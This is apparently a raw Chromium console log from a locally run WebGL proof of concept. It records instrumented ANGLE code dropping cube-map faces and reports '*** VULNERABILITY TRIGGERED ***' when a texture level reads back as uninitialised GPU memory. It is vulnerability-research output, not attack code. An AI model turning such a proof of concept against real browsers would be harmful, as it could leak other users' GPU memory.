[2641:2672:0514/103003.609765:ERROR:gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc:1172] [GroupMarkerNotSet(crbug.com/242999)!:73A0D33F81A0]Automatic fallback to software WebGL has been deprecated. Please use the --enable-unsafe-swiftshader (about:flags#enable-unsafe-swiftshader) flag to opt in to lower security guarantees for trusted content. [2641:2641:0514/103003.654678:INFO:CONSOLE:28] "[POC] Renderer: ANGLE (Google, Vulkan 1.3.0 (SwiftShader Device (Subzero) (0x0000C0DE)), SwiftShader driver)", source: http://127.0.0.1:8123/poc.html (28) [2641:2641:0514/103003.654766:INFO:CONSOLE:28] "[POC] Vendor: Google Inc. (Google)", source: http://127.0.0.1:8123/poc.html (28) [POC-HIT] stageSelfAsSubresourceUpdates early-return DROPS cube face 0 (levelsMask=0x2 skipLevels[face]=0x0 OR-aggregated=0x2) [POC-HIT] stageSelfAsSubresourceUpdates early-return DROPS cube face 2 (levelsMask=0x2 skipLevels[face]=0x0 OR-aggregated=0x2) [POC-HIT] stageSelfAsSubresourceUpdates early-return DROPS cube face 3 (levelsMask=0x2 skipLevels[face]=0x0 OR-aggregated=0x2) [POC-HIT] stageSelfAsSubresourceUpdates early-return DROPS cube face 4 (levelsMask=0x2 skipLevels[face]=0x0 OR-aggregated=0x2) [POC-HIT] stageSelfAsSubresourceUpdates early-return DROPS cube face 5 (levelsMask=0x2 skipLevels[face]=0x0 OR-aggregated=0x2) [2641:2672:0514/103003.659277:ERROR:gpu/command_buffer/service/gl_utils.cc:430] [.WebGL-0x737a601ebd80]GL Driver Message (OpenGL, Performance, GL_CLOSE_PATH_NV, High): GPU stall due to ReadPixels [2641:2641:0514/103003.678831:INFO:CONSOLE:28] "[POC] FBO status (level 0): 0x8cd5", source: http://127.0.0.1:8123/poc.html (28) [2641:2641:0514/103003.932906:INFO:CONSOLE:28] "[POC] FBO status (level 1): 0x8cd5", source: http://127.0.0.1:8123/poc.html (28) [2641:2672:0514/103004.431211:ERROR:gpu/command_buffer/service/gl_utils.cc:430] [.WebGL-0x737a601ebd80]GL Driver Message (OpenGL, Performance, GL_CLOSE_PATH_NV, High): GPU stall due to ReadPixels [2641:2641:0514/103004.439885:INFO:CONSOLE:28] "[POC] First 64 bytes: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00", source: http://127.0.0.1:8123/poc.html (28) [2641:2641:0514/103004.440149:INFO:CONSOLE:28] "[POC] Bytes matching SENTINEL (0xAA): 0 / 4096", source: http://127.0.0.1:8123/poc.html (28) [2641:2641:0514/103004.441411:INFO:CONSOLE:28] "[POC] Bytes matching VICTIM (0xDE): 0 / 4096", source: http://127.0.0.1:8123/poc.html (28) [2641:2641:0514/103004.441481:INFO:CONSOLE:28] "[POC] *** VULNERABILITY TRIGGERED ***", source: http://127.0.0.1:8123/poc.html (28) [2641:2641:0514/103004.441525:INFO:CONSOLE:28] "[POC] POSITIVE_X level 1 was uploaded as 0xAA but read back as uninitialised GPU memory after respecifyImageStorage dropped it.", source: http://127.0.0.1:8123/poc.html (28) [2641:2641:0514/103004.462983:INFO:CONSOLE:223] "[GroupMarkerNotSet(crbug.com/242999)!:73A0D33F81A0]Automatic fallback to software WebGL has been deprecated. Please use the --enable-unsafe-swiftshader (about:flags#enable-unsafe-swiftshader) flag to opt in to lower security guarantees for trusted content.", source: http://127.0.0.1:8123/poc.html (223) [2641:2641:0514/103004.464345:INFO:CONSOLE:223] "[.WebGL-0x737a601ebd80]GL Driver Message (OpenGL, Performance, GL_CLOSE_PATH_NV, High): GPU stall due to ReadPixels", source: http://127.0.0.1:8123/poc.html (223) [2641:2641:0514/103004.465007:INFO:CONSOLE:223] "[.WebGL-0x737a601ebd80]GL Driver Message (OpenGL, Performance, GL_CLOSE_PATH_NV, High): GPU stall due to ReadPixels", source: http://127.0.0.1:8123/poc.html (223)